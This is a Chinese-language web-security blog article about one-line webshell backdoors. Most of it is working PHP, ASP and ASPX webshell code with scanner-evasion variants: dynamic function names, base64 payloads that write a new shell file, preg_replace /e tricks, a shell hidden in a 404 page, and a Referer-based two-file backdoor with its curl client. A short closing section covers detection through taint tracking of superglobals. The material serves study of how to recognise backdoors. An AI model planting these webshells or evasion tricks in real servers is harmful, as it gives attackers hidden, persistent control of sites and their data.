美文网首页Web Security
神奇的一句话后门溯源

神奇的一句话后门溯源

作者: 刀背藏身 | 来源:发表于2016-05-31 16:09 被阅读3927次

    刀背藏身

    0X01 简单原理

    在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马什么的,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器。

    一句话木马的原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易,于是黑白的较量变成了黑帽不断的构造变形的后门,去隐蔽特征,而白帽则不断的更新过滤方法,建起更高的城墙。

    简单的说一下原理,对于不同的语言有不同的构造方法,基本构造是首先出现的是脚本开始的标记,后边跟着的eval 或者是execute 是核心部分,就是获取并执行后边得到的内容,而后边得到的内容,是request或者是 $_POST 获取的值,显然这些内容,如果我们通过客户端向服务器发送,那么就会让服务器执行我们发送的脚本,挂马就实现了。最常见造型的木马如下:

    <!--asp一句话木马:-->
    <%execute(request("value"))%>
    <!--php一句话木马:-->
    <?php @eval($_POST[value]);?>
    <!--aspx一句话木马:-->
    <%@ Page Language="Jscript"%>
    <%eval(Request.Item["value"])%>
    

    0X02 变形

    黑帽子的目的,就是想尽办法给目标网站插入这么一段会被储存起来的话,可以是一个单独的.asp 或者是.php,.aspx 文件,或者是隐藏在某些网页下,其中的value 就是客户端要发送的内容。然后通过客户端与服务器建立连接,发送控制脚本。

    而上传文件,则涉及到任意文件上传的漏洞挖掘了,这也是黑帽无所不用其极的展现猥琐技术的地方,在此不表。这里,我们先以PHP 为例,去继续深挖那些挂马的技巧。

    在上边的例子中,php 文件,很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是增加一点技巧的话,我们可以不出现eval:

    @$_GET[a]($_POST[xxx]);
    

    一样的,传给a值为 @base64_decode(base64编码过后的eval),这仍然就是最简单的一句话。
    甚至,我们还可以连POST 都不出现。

    <?php $_GET[a]($_GET[b]);?>
    

    上边这个例子仅仅使用了GET 函数来构造木马,利用方法是:

    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
    

    因为我们使用的是PHP 的GET 函数,所以我们的利用方法构造在URL 里,其中的括号部分URL 编码,为了清晰我们把URL 编码的内容转换回来:

    ?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4))};
    

    我们看到,这里有两个base64 的解码,很明显是利用了base64编码来绕过扫描,我们进行解码看看:

    ?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};
    

    执行后当前目录生成c.php 一句话木马,木马内容就是最常见的一句话,这已经算是一个非常隐蔽的木马了,而在PHP 后门的变形之路上,远远不止这些,你甚至可以自己定义一个加密解密的函数,或者是利用xor, 字符串翻转,压缩,截断重组等等方法来绕过。

    0X03 更高级的变形和隐藏

    下面我们再看一些强悍的后门:

    利用404页面隐藏木马

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    </body></html>
    <?php
    @preg_replace("/[pageerror]/e",$_POST['error'],"saft");
    header('HTTP/1.1 404 Not Found');
    ?>
    

    一般404页面放好后,很少有人会记得定期对404页面进行检查和修改,但如果在404页面里,如果挂上了一句话后门,一方面不会被发现,另一方面,黑帽子很容易能定位到并连接上服务器。

    无特征隐藏PHP后门

    <?php
    session_start();
    $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
    $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
    

    这句话也隐藏了eval 特征码,利用$_SEESION 变量来绕过,将$_POST['code']赋值给$_SESSION['theCode'],然后eval 执行SESSION 的内容。

    还有一些则是利用HTTP 请求中的hTTP_REFERER 来运行经过base64编码的代码,达到后门的效果,使用两个文件:
    文件1:

    <?php
    //1.php
    header('Content-type:text/html;charset=utf-8');
    parse_str($_SERVER['HTTP_REFERER'], $a);
    if(reset($a) == '10' && count($a) == 9) {
       eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
    }
    

    HTTP_REFERER 是header 的一部分,告诉服务器是从哪个页面跳转链接过来的,这里边利用了这一字段,来做后门,另一个页面如下:

    <?php
    //2.php
    header('Content-type:text/html;charset=utf-8');
    //要执行的代码
    $code = <<<CODE
    phpinfo();
    CODE;
    //进行base64编码
    $code = base64_encode($code);
    //构造referer字符串
    $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
    //后门url
    $url = 'http://localhost/test1/1.php';
    $ch = curl_init();
    $options = array(
        CURLOPT_URL => $url,
        CURLOPT_HEADER => FALSE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_REFERER => $referer
    );
    curl_setopt_array($ch, $options);
    echo curl_exec($ch);
    

    我们访问文件2,他会构造一个会话,进到后门url 1.php那里,然后在HTTP_REFERER 的内容也会传递给1.php,通过1.php 执行。一般来说,waf会对 referer字段宽松一些,也就造成了一个绕过。

    来一些常见的后门

    1、
    $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
    $hh("/[discuz]/e",$_POST['h'],"Access");
    //菜刀一句话
    2、
    $filename=$_GET['xbid'];
    include ($filename);
    //危险的include函数,直接编译任何文件为php格式运行
    3、
    $reg="c"."o"."p"."y";
    $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
    //重命名任何文件
    4、
    $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
    $gzid("/[discuz]/e",$_POST['h'],"Access");
    //菜刀一句话
    5、include ($uid);
    //危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
    //gif插一句话
    6、典型一句话
    程序后门代码
    <?php eval_r($_POST[sb])?>
    程序代码
    <?php @eval_r($_POST[sb])?>
    //容错代码
    程序代码
    <?php assert($_POST[sb]);?>
    //使用lanker一句话客户端的专家模式执行相关的php语句
    程序代码
    <?$_POST['sa']($_POST['sb']);?>
    程序代码
    <?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
    程序代码
    <?php
    @preg_replace("/[email]/e",$_POST['h'],"error");
    ?>
    //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
    程序代码
    <O>h=@eval_r($_POST1);</O>
    程序代码
    <script language="php">@eval_r($_POST[sb])</script>
    //绕过<?限制的一句话
    

    0X04 攻防之机

    对于攻方,利用各种各样的绕过姿势,都是试图让扫描工具无效。对于守方,分析各种各样的函数,寻找有效的特征码来防止后门。而傲然物外的大牛黑客们,更可以深入web框架内核,挖掘出代码缺陷,构造出复杂的后门利用。

    而作为安全审计人员,只要心细,对那些通过GET,POST 获取的超全局变量,进行细致的追踪,就可以有效的寻找到代码之间的问题,构造合适的过滤器,就可以预防绝大多数后门。

    一个有效而快速的自动化检测方法,是通过语义分析的方式,对GET POST 获取的值进行污染点追踪,以确保这些用户可控的值,不会未经过滤就得到了执行,或是进入数据库中,而语义分析方法,后边会再进行进一步学习。

    当然,这都不是绝对安全的,正如我们前边举得例子,正是利用了SESSION 和 SERVER 这些变量来构造后门,而在PHP 语言中,超全局变量还有这么多:

    • $GLOBALS
    • $_SERVER
    • $_REQUEST
    • $_POST
    • $_GET
    • $_FILES
    • $_ENV
    • $_COOKIE
    • $_SESSION

    所以针对这些变量的语义分析,也就变得更加复杂,漏洞将变得不可避免。同时,诸如include,preg_replace 这些PHP 中危险的变量,也是需要分外注意的。

    所以,一个优秀的程序,是对代码有足够敏感性的,同时对整个架构下的层次权限分配要足够清晰和严格,过滤规则的学习永无止境,安全审查的更新也是永无止境,那些当前看起来人畜无害的部分,随时可能会直插心脏而沦陷。

    相关文章

      网友评论

        本文标题:神奇的一句话后门溯源

        本文链接:https://www.haomeiwen.com/subject/jvncdttx.html